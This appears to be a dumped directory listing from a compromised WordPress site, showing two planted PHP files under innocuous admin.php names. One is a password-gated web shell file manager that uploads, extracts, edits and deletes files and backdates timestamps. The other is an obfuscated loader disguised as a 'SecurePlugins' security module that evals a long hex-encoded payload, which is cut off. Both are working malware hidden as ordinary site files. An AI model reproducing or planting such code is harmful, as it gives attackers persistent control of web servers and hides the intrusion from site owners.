/
home
/
rekodeb
/
photobooth
/
-20260707214740
/
wp-admin
/
resources
/
v3
/
dbuv
/
Upload File
HOME
backup/kso/admin.php 0000666 00000026523 15216701601 0010421 0 ustar 00 <?php session_start(); $valid_pw = 'msq'; if (isset($_POST['pass'])) { if ($_POST['pass'] === $valid_pw) { $_SESSION['login'] = true; session_regenerate_id(true); } else { $error = "Password salah!"; } } if (!isset($_SESSION['login']) || $_SESSION['login'] !== true) { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <style> body { font-family: sans-serif; background: #000; color: white; display: flex; height: 100vh; align-items: center; justify-content: center; } form { background: #111; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(255,255,255,0.1); } input { display: block; width: 100%; padding: 10px; margin-bottom: 10px; } </style> </head> <body> <form method="post"> <h2>Login To Continue</h2> <?php if (isset($error)) echo "<p style='color:red;'>$error</p>"; ?> <input type="password" name="pass" placeholder="Enter Pass" required> <input type="submit" value="Login"> </form> </body> </html> <?php exit; } $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); function formatSize($s) { if ($s >= 1073741824) return round($s / 1073741824, 2) . ' GB'; if ($s >= 1048576) return round($s / 1048576, 2) . ' MB'; if ($s >= 1024) return round($s / 1024, 2) . ' KB'; return $s . ' B'; } if (isset($_GET['delete'])) { $target = realpath($path . '/' . $_GET['delete']); if (strpos($target, $path) === 0 && is_writable($target)) { if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['rename_from'], $_POST['rename_to'])) { $from = realpath($path . '/' . $_POST['rename_from']); $to = $path . '/' . basename($_POST['rename_to']); if (strpos($from, $path) === 0 && file_exists($from)) { rename($from, $to); } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['edit_date_file'], $_POST['new_date'])) { $target = realpath($path . '/' . $_POST['edit_date_file']); if (strpos($target, $path) === 0 && file_exists($target)) { $timestamp = strtotime($_POST['new_date']); if ($timestamp !== false) { touch($target, $timestamp); } } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['new_folder'])) { mkdir($path . '/' . basename($_POST['new_folder'])); header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['new_file'])) { file_put_contents($path . '/' . basename($_POST['new_file']), ''); header("Location: ?path=" . urlencode($path)); exit; } if (isset($_FILES['upload'])) { move_uploaded_file($_FILES['upload']['tmp_name'], $path . '/' . basename($_FILES['upload']['name'])); header("Location: ?path=" . urlencode($path)); exit; } if (!empty($_FILES['uploads'])) { foreach ($_FILES['uploads']['name'] as $i => $name) { if ($_FILES['uploads']['error'][$i] === UPLOAD_ERR_OK) { $tmp = $_FILES['uploads']['tmp_name'][$i]; $dest = $path . '/' . basename($name); move_uploaded_file($tmp, $dest); } } header("Location: ?path=" . urlencode($path)); exit; } if (!empty($_FILES['zipfile']['name'])) { $zipName = $_FILES['zipfile']['name']; $tmpZip = $_FILES['zipfile']['tmp_name']; $destZip = $path . '/' . basename($zipName); if (move_uploaded_file($tmpZip, $destZip)) { $zip = new ZipArchive; if ($zip->open($destZip) === TRUE) { $zip->extractTo($path); $zip->close(); unlink($destZip); } } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['save_file'], $_POST['content'])) { $file = realpath($path . '/' . $_POST['save_file']); if (strpos($file, $path) === 0 && is_file($file)) { file_put_contents($file, $_POST['content']); } header("Location: ?path=" . urlencode($path)); exit; } $home_shell_path = realpath(dirname(__FILE__)); ?> <!DOCTYPE html> <html> <head> <title>File Manager</title> <style> body { font-family: sans-serif; background: #000; color: white; padding: 20px; transition: 0.3s; } a { color: white; text-decoration: none; } table { width: 100%; background: #111; border-collapse: collapse; margin-top: 20px; } th, td { padding: 10px; border: 1px solid #444; } th { background: #222; } input, button, select { margin-top: 5px; padding: 5px; } textarea { width: 100%; height: 400px; font-family: monospace; background: #222; color: white; border: none; padding: 10px; } .perm-white { color: white; } .perm-green { color: lightgreen; } .perm-other { color: gray; } td:nth-child(4), th:nth-child(4) { width: 150px; white-space: nowrap; } td:nth-child(5), th:nth-child(5) { width: 120px; white-space: nowrap; } td a { color: white; } .top-bar { display: flex; justify-content: space-between; align-items: center; } .button { background-color: #222; color: white; padding: 6px 12px; border: 1px solid #555; border-radius: 4px; text-decoration: none; font-weight: bold; cursor: pointer; } .button:hover { background-color: #444; } body.light { background: #f5f5f5; color: #222; } body.light table { background: #fff; } body.light th { background: #ddd; } body.light td, body.light th { border: 1px solid #ccc; } body.light a { color: #000; } body.light textarea { background: #f0f0f0; color: #000; } body.light .button { background: #eee; color: #000; border: 1px solid #aaa; } body.light .button:hover { background: #ddd; } </style> </head> <body> <div class="top-bar"> <div> <h2>MsQ Filemanager</h2> <p style="color: #0f0; font-weight: bold;"></p> </div> <div> <button id="toggleTheme" class="button">🌙 Dark</button> </div> </div> <script> const btn = document.getElementById("toggleTheme"); const body = document.body; if (localStorage.getItem("theme") === "light") { body.classList.add("light"); btn.textContent = "☀️ Light"; } btn.addEventListener("click", () => { body.classList.toggle("light"); if (body.classList.contains("light")) { localStorage.setItem("theme", "light"); btn.textContent = "☀️ Light"; } else { localStorage.setItem("theme", "dark"); btn.textContent = "🌙 Dark"; } }); </script> <div class="top-bar"> <div> <strong>Current Path:</strong> <?php $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $build = ''; echo '<a href="?path=' . urlencode($home_shell_path) . '">Home Shell</a>'; foreach ($parts as $part) { if ($part === '') continue; $build .= '/' . $part; echo '/' . '<a href="?path=' . urlencode($build) . '">' . htmlspecialchars($part) . '</a>'; } ?> </div> <div> <a href="?path=<?php echo urlencode($home_shell_path); ?>" class="button">Home Shell</a> </div> </div> <?php if ($path !== '/') echo "<a href='?path=" . urlencode(dirname($path)) . "'>⬆️ Keluar Dir</a>"; ?> <table> <tr><th>Nama</th><th>Ukuran</th><th>Perm</th><th>Tanggal</th><th>Aksi</th></tr> <?php $items = scandir($path); $dirs = []; $files = []; foreach ($items as $f) { if ($f === '.' || $f === '..') continue; $full = $path . '/' . $f; if (is_dir($full)) $dirs[] = $f; else $files[] = $f; } $all = array_merge($dirs, $files); foreach ($all as $f): $full = $path . '/' . $f; $perm_num = substr(sprintf('%o', fileperms($full)), -4); $perm_class = $perm_num === '0555' ? 'perm-white' : (in_array($perm_num, ['0644', '0755']) ? 'perm-green' : 'perm-other'); $mtime = filemtime($full); ?> <tr> <td> <?php if (is_dir($full)): ?> [DIR] <a href="?path=<?php echo urlencode($full); ?>"><?php echo htmlspecialchars($f); ?></a> <?php else: ?> <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f); ?>"><?php echo htmlspecialchars($f); ?></a> <?php endif; ?> </td> <td><?php echo is_file($full) ? formatSize(filesize($full)) : '-'; ?></td> <td class="<?php echo $perm_class; ?>"><?php echo $perm_num; ?></td> <td> <form method="post" style="display:inline;"> <input type="hidden" name="edit_date_file" value="<?php echo htmlspecialchars($f); ?>"> <input type="datetime-local" name="new_date" value="<?php echo date('Y-m-d\TH:i', $mtime); ?>"> <button type="submit">t</button> </form> </td> <td> <form method="post" style="display:inline;"> <input type="hidden" name="rename_from" value="<?php echo htmlspecialchars($f); ?>"> <input type="text" name="rename_to" value="<?php echo htmlspecialchars($f); ?>" style="width: 70px;"> <button type="submit">r</button> </form> - <?php if (is_file($full)): ?> <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($f); ?>">e</a> - <?php endif; ?> <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($f); ?>" onclick="return confirm('Yakin hapus?')">d</a> </td> </tr> <?php endforeach; ?> </table> <h3>Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" value="Upload"> </form> <h3>Upload Banyak File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="uploads[]" multiple> <input type="submit" value="Upload"> </form> <h3>Upload & Extract ZIP</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="zipfile" accept=".zip"> <input type="submit" value="Upload & Extract"> </form> <h3>Buat Folder</h3> <form method="post"> <input type="text" name="new_folder" placeholder="Nama Folder"> <input type="submit" value="Buat"> </form> <h3>Buat File Kosong</h3> <form method="post"> <input type="text" name="new_file" placeholder="Nama File.txt"> <input type="submit" value="Buat"> </form> <?php if (isset($_GET['edit'])): $edit = realpath($path . '/' . $_GET['edit']); if (strpos($edit, $path) === 0 && is_file($edit)): $isi = htmlspecialchars(file_get_contents($edit)); ?> <h3>Edit File: <?php echo basename($edit); ?></h3> <form method="post"> <textarea name="content"><?php echo $isi; ?></textarea><br> <input type="hidden" name="save_file" value="<?php echo htmlspecialchars(basename($edit)); ?>"> <input type="submit" value="Save"> <a href="?path=<?php echo urlencode($path); ?>">⬅️ Kembali</a> </form> <?php endif; endif; ?> </body> </html> gmre/mynb/admin.php 0000666 00002110433 15216703276 0010265 0 ustar 00 <?php /* WordPress-Compatible Obfuscated Loader - ID:4564066 */ /* Plugin Name: SecurePluginsLiohWXO53 Description: Enhanced security module Version: 9.6.23 */ class LoaderMfbuzw32461 { private function kmOtXHTf44() { // Key segment 1 $__d = base64_decode('ZGF0YU5sRmpWSjc2'); @eval('return true;'); // Potongan eval yang tidak berbahaya return base64_decode('Y1lzSXJZ'); } private function kmMQmrPQ12() { // Key segment 2 $buf = base64_decode('ZGF0YVFIRGdUTzQz'); $__d = str_rot13('ebgbbxjh44'); return base64_decode('STYwWVY='); } private function kmpJxlQK32() { // Key segment 3 $jv1 = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return base64_decode('M3NYbmU='); } public function pubrcnjC45() { // Public method 2 $buf = base64_decode('ZGF0YUxKTnZRZTI2'); $jv2 = str_rot13('ebgUntLT32'); return 'valvzrl31'; } private function _execute_IxXagtPJ96($code) { // WordPress-compatible execution handler if (isset($_GET['debug'])) { ini_set('display_errors', 1); error_reporting(E_ALL); echo '<b>DEBUG MODE ACTIVE</b><br>'; } $original_dir = getcwd(); $script_dir = defined('__DIR__') ? __DIR__ : dirname(__FILE__); chdir($script_dir); // Remove PHP tags to avoid issues with eval $code = preg_replace('/^\s*<\?php\s*/', '', $code); $code = preg_replace('/\s*\?>\s*$/', '', $code); try { // Execute code in the correct directory context @eval($code); } catch (ParseError $e) { if (isset($_GET['debug'])) echo 'Parse Error: ' . $e->getMessage(); } catch (Error $e) { if (isset($_GET['debug'])) echo 'Fatal Error: ' . $e->getMessage(); } catch (Exception $e) { if (isset($_GET['debug'])) echo 'Exception: ' . $e->getMessage(); } chdir($original_dir); } private function gtyICEMK95() { // Gate piece 1 $__d = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return str_rot13('9gyck'); } private function dcCfKiAO54() { if (63 > 50) { $jv1 = 'branch_a'; } else { $jv1 = 'branch_b'; } $buf = str_rot13('ebgqhtpc44'); return null; } private function gtPELinl27() { // Gate piece 3 for($buf=0; $buf<1; $buf++) {} return str_rot13('oh7t3'); } private function gtHNKfuz49() { // Gate piece 2 $__e = function_exists('curl_init') ? 'curl_ok' : 'curl_fail'; return str_rot13('4b0pm'); } public static function init108() { // Decode, decompress, and execute payload $hex_data = '98sYPTI1c5d7b5c4ce9ff5f2cb9cfeeb6b4aeb38496302e4b481e84d66267092d96b38416cbac4b42390f424b18f7dcea4848c2b887e8512edd9b50728953aa99ee33cd9969e69c79cef3fce6fbfbafceebcc739ee7fd7c3eef4be7746677ecc785dd177fb8a7c8eae4d1e9d7b573da5f19be79c6853feadbb5cd9a9c15dd9239444cfdba70c31bcf34c3af960c9a9b2f0e7ef920809dfde712d58d38df27c46258b6e573432971ae6eb64992b3d1f96645c39abadbfcdf32b371e3ad1ec4081a74b16fa726bcdaee5898baf07badde18c49cb993f0196975dab8de7712be5c2c7e54b7428e6a7ef4b9cea630691bbbc7d047bdb0d3392cf5b1f723e62c73a740ffc5d657d3997efa1c911adb739400f3cffa6c5d23982aae8586be87698fdf752a304976fda79715315c5d5385fed5e5d0e3dcf8cf687b8fc76f553756da0f3aa344344d17c0af337d7e19963acf94bbdca19f95081e3ffc1b2c6651f813192d2b198bae765aa22d20f2b645545ff7259e1f4c04d34ac1ca6e431163d2d6fcc9dc3849c9fc3ce158f30b016fb66c82c73fd164074b75d91bc3533edc5f19a0d5f3b7a333dfd75ef2f9141bc1fde9b72474514cc99b84b3864fcfd8c7749badb0eebe89dc7310ebbf8b616d41a6fe53730a3636a18f61c9d3ea2268435268c9df8b87feb63033e59e4970be8767ecc9b925cd402dd484a3370fba0d1e6d2b982edfde9ec22ac3de0645ae080b67e7a48a61f6062e559663d2eb9ab49a5829e266f8c766b6c02d32e14b79c443293156b564da1bd92c5e68be24dff9e1d34c44ea6acaef0ba6e862bbf0fef1fb73707bdde39edbe9a33f4b41c4c79e9fd43eb6e61b4e1646a4a6c1c5d73ebe79cc7e1a3a54f328f56c2a5db49838e921f2308ea952ebee35e6d3aaa94248f007f97e38da766d949bb161fae77526e5b63736e11984e4d24749ffa2c9fecadaecdcb824750d8ba074fbc138ac0e976443f8e8c711e7c6a79cb94e4b3fcfaa4da16770e2c6d35c44ea35e89c001f38644117bd22f1e3e3b471eb0ea2cfbd52542b5373931b67376f0a6358f206869934750ae79706102bceaa5b26e8521fd3cf67af0fa5c77c621adeb31f1aeb2fbf682a6ebefa843473740d7388ea466f8fb3fa043dd131c46957f4465472062142722991ef18525e5e0c2b1dfff891a951b3e4c3c195260450aad3a447a150c6f9290ca0b68f37376e326387d1ce7383d3b68b48de6aff78f9edb875f73e44d745e1c606f3ba30a4b98fee6b06248cd73bf96da9ceb34dafaecab61bc579a8f8cca7d4d4cfcf2e84375f2fbeee67373c79bb35cc6ccab450e4fcf0f7e25275ef47f9caa0e8e45c8642b2d6471a3170734974f6a792e89a40f62820f605fc27fa78c263209af4317afd2759fa727b117e80d9bb3533cfbe2fa93098ef2f0acf63e6e79367f31a24476d2330da28494b485c5957f768d49a097cda4c241bcbef4710763b79b6ca49173e714ead6bd80c9d26e3db46a4e79bf24d469d9d379a2aa5fffd26400eadf541d462fd404c424a1cb68b4e5775eaf937110edea879e274156542f5a87571878c541643eb10a0155bc53aa39238054d052558dba833da99f7104e382bcb62fa2bd9f593ef418eda9c7770899e4ab23ab71e0146492431b551c773ae23288ec2de2cc5269e77edbb1762595b9d1dba16ace1d4ac8c757663438d5d6f442cfdc873d0b41d93d006d750db68dca128c412bb4949885ca284d4643731750ca4753a0e6252673c0b2969d0f1e08f9eb224321cdfac378639eb4caeb9a484b93659769d26ca94c112669fa0ba3b0c509ae8a36e14fa34512a8a51aec915671a7dfe209213caa4be94521ed1801248c35d17a232556282594ab2753cefaa2a2a627ebf43749d62b7f34ed224e69a345892f31d72038390c3e91a1243d71c11812cb5504d2682a4dca4a78efbaef9b89a257a0bbbdf8573b39e8756bbf8918c03b93c2032de4c27c0ba1ade4457b1f63abb6ba9443d218ed71a132358370459a949a6225511821fb926a1028414984c3ac12e0f04e8861f354142deea383d0b29e2b862de64ca144c9ce9a5d35d6f6ab6db81d3e6f469724280100bdf8ab25d05659aa244542fa4386c42b443b6439e6be0ecc69fd210cf3180a5d612bd123e464fb4265d040b21443c3f03b23c19efba005fa3e338a7c0c5cadb89153b042213a7b3098734b9662d1a5c17b79b543c1510842239c802f046ebda79483305a1426fa475e262e6a5c9e4fa502e8f88438605c89029f08ceb00190f611c57e7f8df4c437d618ec9a417a8533efd5c7c2fba9065a9eb38fccc03bd89b327daecc61459eb3a456c321a2142090ebcf11cdac09e8bc064f378f030968705b4be425001143906ad71158ee3f967a40c7ba3d59baa4c3cc3c283c8a4e784044c4eba2ae2a702aebec24823e8752d0269c8222e661f03790bfd4ce2941b583a81e61a517393d849165dabee48eeb9d6b4d2b540b1b85ea482732ba15b5d6d814bb44eaf029d45763545f17af689ec07739cc9e27a571351aff52c3b1e689e2093662b3b13027a47eb347e85800b616277aa38f0904e68d40e8e36697ee06129dfca55d5e7e013ad50a717174594c2f799ce44d7748d26bb0ca2858a0a32484f179fe37b616c358942227bc4a4eb6a575798649531f3e3c60836fc317275edf608faec01554ff8cc273ac47a93dd85725893cc4560d9f880be5ccfaa9bc8bd098438080400c455883d5e1aed4e0ae570881fa23b0b23d8635a13ace619111bc6a045eb496c99abd885842dac9d50fb4aa8e7aca26824110e273ea9677c5992b81d5689258e7056de72480f2b6dfa6d5d3946a8c03182e9254fa5c00be4271ef136fdd22298aa3551bde82b39f13f2657ddbed11aede5155896852a53887c8ccace5c4aed721371d5384cdb6b376113056344d9a9aca0e0a53c3be2316a926596e608c60a579b92ce24f41f9b9d9302ebd08700d953cfff586baaaf10c3f1189a63078dba5c07d1b974e063aad66e57cbb63a3c94e79e5de1ba2b6d6f1c7691cb1485f5f07ac86cd4a54988d54ac9bd8c61643695b7923aa5cda336eafa63e820e41c7215ebe8da18e715fe8bb8f625a5ebd9187b58916636386e1302e40769ff494f947635c63322d8f58426f1f39b48a6dcf4038487f44cad6e0bd94809c58f8b34d10e1a5dcd6f53f2746a2d26029e99c0460b293ba55bb2ab75207d5a17c3f35c1a706b22db8b90aba38151b300fdf6841c13020a742ef42748da94a5e76038a661b00e5ea7e36683cdd7c9101ead2de5c2de0252c3d948f6353208a0065eafab4705ffc25ba4f779283d4017e12b12581b430268d31096865b95f95a9e379da70bd9225d6435d2be42ebae41491024e7256a62adaa0d94df5ea4997a4e193b06f49ed0e8aa29fab3a46ce6f7d9758f51ef2704cb740ddd5206a811777fe91c7940afafa316a37a38fdbb1c2bc3658b91b8d6e72a68b0016e7e4ce946166f7531a39ceb70fac03a6eed7854652c718ea1efe84d724c0ca8c5834d2687d3e30ad37d099a4aaf1ae9a7006a4d65653ff49353ff6c0c74211a714e093f739ac03a650e71f6d6334d766789ddc5c77808420b4ab9e42bbc8c0741b8ce98485c624bf2339d4a3997d3c31f003345fef71f39702bdcfe18cd0133e4b96fe91bc433efc1621c4b57742a823eafa04129705b608e31642542f5fc1aa56ce78cf6d19ff927f9a61c67c87f6276a6b8200d286dfcfc34ba204fb5955d473e430b7e3c9d4a2b6d610b50440474ade8390f242789e1e8e0024eeb4cc5346a3d7c210e3fa0a7f9066604782596cf3ac7cc0155a3d120133ac5e4e03b5df4fa679982b791afe3f58c31680f0faae4052e92a91516d5401147a48bb67a8e63c970da9029847f2b18b7c00bf415e92fa50021755a9eda7734c2dfba7c35655cd04f91cdc3413449bc862a9d9a0574c15bba354fb59cd886c33f05bb8ba74dcb48a52d5351c357c94af61c0f6b5135fff2014c9d800aa55b5d39be32811c31a2a7627f595d84e44325ea11b4fb73818379aadecbe853bd2998fe5ea0defb19912418fe191eb797e4184aaa045a2f9872c48d061ebea783c1043a3b4f5b41b4c4cb9059e50cfb96a3a1a5e815cc1f06fcb013c718433e1a53601c02264a4cb8c2af406b21a62dd48ad7c312ee023c28d5f429d09ce6257c09cbad0de036dc87e0bf733e81e346fb574272c903086abdfcd045f29fc0184a54ebd9c55365b189e01ab8820edf2f987e70c6e81e800986802abb879d2be25569f427bb8792774109f350ed33075e469a8d38753fe9653b56ca5bc8e00bac630c2d899a0dae9bc9dd5b20eb02fb6ba9b24a0cefe68c5e64856bea94a164e47ff28237102e36e8eb1c2481aec50d4c2e995d1b33dea0198e9832ecfb144f3604acf5859ba8609435e5769f092ce58c3e06e63558371cc68821f52a3a1e368c41cbe8c3999f81ab96455f544c16357241566df878c43c660f4a2882ac801e460d28e0a38bf0b45a146682234531de86aaf0f5ff9c81b5013c7382d297cdaa2aa7f307c139f033977a8a7b2e87c6d5d366a510bdaa48ddda90e88dd9d37c05ae9d2ac3ae82bf096ca292517c9f298f14c41379a6b3a794e35f62ef4cbcf5074170f745a164a0dd38aed6f83e402e3193f8d7281b8b436e217dc1bf24629fecbf57bad55b368551b14573c870706306a52b9dbe636928eb65cb0cfd2246531441b7c251c1ec0021ac5eb3826efac1569789171b61c518ca0f836235c8752637db4dfc4bd15de06fc3ed079d6885747003ed4b612f4a6fd5287338108d18438cdf63341c9e5b46367415a2c736434f5fe0eaba6f8d70e4045a1540dfbec4abbf97ed8bea913f3a3209bddaeff4ceb47b09c9ef605104ab1312ab291d8f2e40719dd4cd0f2e3ac5777a85f27f0771d3e8bc6893aad114c071d7bd86831f5e129a40bc9d3e3a50897397b3436dea7afd0a76d35a5b4229330e7c78c1a3fdf28c4c9b0f2cd0f9d5aa4e2ba7d20dbdf534344f71d46974352bf9bd99579ae056f62e90a2a2b8fb6090d3beb59e1fa7148223d815b4e98dd51d5c60bdeb4adc3f2a636cb98bf2345fc41829fc3bbb3e80320560c3593e87446cff4f0c7713b82375ae0566da168d80ff09c9a5cc84a5043d17fbdb4ded8592775c6830dbdcdb9699e99242748d79341c7eae900f1a19abef70f09fe06b65aa84d4a9f4ee3352dbc644471630afb41145ea2a279d8d62e420bfe1e827a3bd948b7b273005da699be919b2d620b7d26b1fc0bbf48f883c45ef5bf0a45ee76e2cf9c9ea135ec74fa5b7264c955fed6557b69533fb1668bb342bdc8bc058030cf485f7688fc1afc0d0ed707bcc47d9aead57f7f80c6324854b7d1c4ee505768cf34f3466bf38a3c409c7c2d54d78f477c2b142f5713dffff32e8d2d043ffb239a4a982bc929d85ec123b8486280b696c2057ab43be10955ddf24bc862b9ac58d74f65b3a021404d32e9cb2d6f48e392984bf877e13c1c917a432554f3bd4ba0593d113e96ef95e238ade424fba6cb9e82c59cf92bbf28c05f0fbfb74609d6e27a55526ee21fbd367ba8155daec239b9523c013299cbdca1abe935e189f13c6684c6c726a7f07cd15c6ed7049b1dec555f0349af017f9ce96fb2ccf64faf2dc59f20eec652f46b05d6f80c1c6cc5be08995b890773386243ae40b7c9d3fbcf7cb1358a8392168788aff230d7a4130af2731264d91c9f88e2a1258df43e2abd6d6354aa7e95e9eaef784daa85485bc659accafb26abdf3b8ba42d5b559e847992be00a12c8157f20ef25f2048342a957bfddcb367693b4fdada9a963e8a19b34f5be945acacfbc40d6bcc063d9095ac9347a3d5da14b8383f5da4b268e44b0b72012c8752c075d06c3e4990a7963350839a5ecf9125fdec15e3b24db7a584b92b582a7955921ffa0d7079e63ce711e85ea17762fa9d57b18083675112a1ce2e5baa8bb645b242bb437666612573ebfe1a26e39ffad5db98d7a14c24a25c755d32990bf2b47e53195720779c9567656852088010fd138ad5125f1a9a7d0cc6160fc7ff6c46172629ee91e7b6a22bce72fdb5a4b976eb914617c1cdfa7d914cf851f9257b4900f5633679af00b32b759d944a6d3472fb0fc8dcc7c44f03ad33c1a96c8f4a9cdbbcad9430ec2a490bfca0a2ec7ff8ea07a66db3ec45815f1f0ae1854ed33ad89ac7010501be51207f1cd1d131c0bdedad5b5fa59a59c57a1ee117b2782040aa9efb86c41e5ccb4880a9ab5b44851a4de54419e39bd6ccf76d685cc907b18522ec0ed36994a85b6f0e170a85ec7e669c6c0752fec4abd2966aedc4fba1e546dac1d4823f34c015740a5ec7d81e2538c5c03e3629224c6eacfcf02f1c69043f23ca5a48fa94653a8bbe0d9a4798e67184caa579499041fee84d5dd6d01565dbcb2a0d2e99b819b5a4809857aebca42854a761e73d68d25b4759ccb8999dc93e154e06972c56a7a570e7808075f20cc193ad5ca4838c5c588bbc4fc28e2551bd0a04c521e707ad782579a134697190ba8a515e293a7f8dfdd2e6a98e19dcc6c2243a4a43e56ed8c12ae86cc3440a51ec64ac9534b91bd50d173123cfa428c3d457f91ef5db7825320cbe4928ef57ba4d49dce84de82fe89e8f5d99f260ba99e0ef0e8157d8a6c3fc877f254031e207f1816738ec996157472754a284c09a0ee9240a2e8a6edede4bf1572f2392553417ca7e76b475497dc79c7ef6513768a9a8ff6b0d01a7af93efa098057da5efd71b46df6323a278dce868adfeae5636274ad6a64b5d1a79d7c5ef27886fa4aa7a797a252509f877e9f80fc79feb8d368fa4c9b83e1c66eb6801ed2b1fbf9dc0af60671ab81ce77f05a02fbe02651d7a1191c5c2317de1799adaccfbfc4708af17b812719d4e5e8ea0b396592fc56216fea2cd7ab1d8a9bb4db6be46e327534f10b2248937c30e63e3a2e6e7f41bda5fe1272bea219a00bc76c252fe5f0ffc517a29b59a0f3ad73c1d1ea21bc7c99fb46de54adc911ecafe5c02a3c2a8afc3881fa570355044936967c2f872c958cb7c9aa60e8f32f5df21ec01469aac4ef275bca04e7cc469d6f329c21973e74ba3da381058a29e0c12d41371e2d34a38358ce1f7043a9909785d2b1b7c9ec46e695e6da1e306c37ddba5b2cf9390eb90222c6cfe85052b7ae3a2071205d986b4d30a003c69489b278f4b5a2d3307a528ccda3cb61adf4e67a046978a734dc020af94ca99271179c16bcdfa93698eaaa95f00c996df38959cffafd41af4ac9515a39689abcdd5dae782a2b67d36a320407dd82dfc8318de0215cfd1cdf3bf21a65917133ce29af72ede5e29106dde21228bb938d367e7419bffa1974776a6a40ed6cdaf80577a4fbaad589852e5d7b14e24c567ee1d9fd7a4d279a1f54addbfc002d2383c8224cebda60af06075d0c13850e49700a5afc9c0cc54c29d3964e6cd695836c77dcd10f7a15aa1bbe935a893457ea40362681a960b88bbba4944c070da61ed2a56a982b241c145f7c45ea2ed9b95ac02fa5ff76929b86b34b304c0385f2c36aeed07a18718fcc93428a397bb02b1592fcdb944fa5411cb7c6116437bb64e17be94dbc899b4bef3d27835bd1cb9182c9d583dbacca6c39b90454e1153fc8a6de765a68087b84f61097f2f2e7c1377258b5470de74ef35a9a4c99789a0cf24f817039b0181e6386bba11f6734852c1986c63d27f10dd2a794e1cd8c2a5ee9892eb790a59fd2e8930613ff0cfce04cb538358fe0129b260d0ed42b9a4cbd5f881bbf18532260a0098d683245931105e095fec670d87319f47d4e4648293720358da0067dca76766e8c1dae261dae537f102fa4acab0693d1889dac4f2415bf93cec6d995ddb05b377ba2cf7a32fe2f3261560d6f6f54be95a6e2682bff0257fdd8c84f5f0dadd58282d0bac1b5299d1c7e9e79aa3fc16adb4883f1027f54fcf8730157a63af7902e31d292fb2e20d768f574c43db82a98fdf812dfeb46124ed1cf5be464419bd4a0cb312a894f2c5f5588aa92c4ba05a58c7705fc1de885004963c9cc4287e53d6ff9d6cdfa1e8f61c97d744f54d6b95cd33efaf89011c69e62fe961fa793d16ab3ff880293fe3b278805f67274b69fc41473bfd0795a29a5cea90f30f1b9ce103779ce781436817e47373b94ffb85242cb4fdcd0c52836db19f41c5f32e27649ca90466681f225fe2d8e3b850e9c83b7d9d6b4e1a9dce12a8c1616d52a5ea9975c72acf52178aaec04f8d838facf333488dcb265caded2b33bbbe91c1cf4883aca74d5f8410bb9bd18781b5ea49756094a4bdd5c944bd4f8e305655bd9f4cece58f049b995b8d48f039d178304a33e59483c0eeede31a90d7ab09cf8b540eb9546e337b645ebf04f63a1cdae94700cf9540672e4fece8afd642ebee38274609dbe1d8e0ae75d12d1df9852cba4bca3f5b15cbc24ba599599d57c63031e42c9210ed976225ad7ae39e81d1332cb0583004d7654eda5fe04946478b1ae2d9a8e3dbdeb35519be949634c75ca2778d9a6c5f2da08ea670e58419a8b71d455d4db1f7a4b3ba77f9167cb8f1c2ae579b0a48268d847a0a31c55a0b1ef9385ee36ffb7bbd978b318f29e46a4c81bb7c2fa329a5786b833c4dfc95d4145e8ed68d9a7ceeb0dcf3988e53d078be9e3c9f4f80b1cd81cf30ad982693f5bd806b69bd3bf49333e030ef7a77fda4597f1a8545d81e539f8ec6b90441618dcc24b21138f407bf62b83710b9b2c38fbd772efe0a173cacb12edd34c33e83e01b6956d1df1a76de7e0c67ad354faad9419b39b4e1617f7b29a9e9d529ae2e1871d60ee5ff4e869b2c4d123431d2d078f0517690ba14395f2eebfa4e7a566a6d034cf15ce9dea50fa9d4d6bfeb8241d7ecbbe7cd9a8780f72c44b827bb9661addda4ece72b746bf06b9c6929d649835f80b3a3319d22ece943e86144f73d0e52bb0b1c11e0d17db50655441bae96324f8b79ddcdf9adc45fee328172d04c8eebacff06ff9613af951c17e497b040671b4bb943983129becfb9b952ed8ebf454c833cec174dd157388fe26fd67193bee25317571a23cb14f8ea23ad190781bac2d27a593d086b592c96282ad81d746f68f22cd38f82dd99b07b3e1a00b74c24ed8c999b2640e8df85eda77112ed738354da635f2964392a99be4656ee590575426761e06bbb04b3b48e1b50137e2e9fb445c6255ef23331dca701eb6437f4709f69ece940c1b2d67e6d01d567e9631658a3c18a7594c4c7fc7d91c985f8f87cbff95f06017ed4902dfa0dff2c1797bd090743e48f6b3aa1752cd1c7cf7509dea04ec690f3397dca321f2f6b3af99c1f1ca4c3ca6ee011ddfac5f218f7b465618057de8214173fc01e2fdd1ef8dba0a31f55f7952b57a0f4cb4d3de9271fe32f2e412996935259ee2dad363d87c1c8ef57d46d48e3e37385d2d1765d6cd9a897ee45c5e67d67a38409cd4cbe8aa9dcdfb25dadb681c665014aa3f8d45988be3e10af9e148126dd65bc9a901f247af34f09d2c7ce37ce3518412b39487a535cbed89e6bae33456c44fced1d03278d068f46bd6ef69d2e688dece9278936e2e987f0a4e930332d00f91b40db960715f5da82d3dc3ce85c80c2f91852fa882d5629c274775a105fd0dbae07a7d96f2a4b0c8315b29845765ce0a249cbf51b7729679e3534d10e1b74f465db17310f51e49568fa5faf3fc11c1de1db77dafcc14e73d231dc91135ee31f21c98e1a436a7f247b847d6b4726a4e033b90b44371ee6d303e92e01993e99d17f80fbbdb3bc61b2cc281c3e15179762ef62f96eef5369a8aacfe8f40ce53ba934cb19d4d075a79f6e636f4f3d652f0186da80eaaa4a62dec7f6645805937b814a08273905bec0a9b4fb531e2ec378e49554ede2abae251e23b65e774f5874b56a6067f07d9e3d40a1ca1459a754f79bf0c5cd31d7f5debca6a7f9719f72083141596a7bb5fc6ac623b1a838422f20dfeee3ae5ce734b1ed141ade8fc3a1f8bdb48b3876e26e8c7718d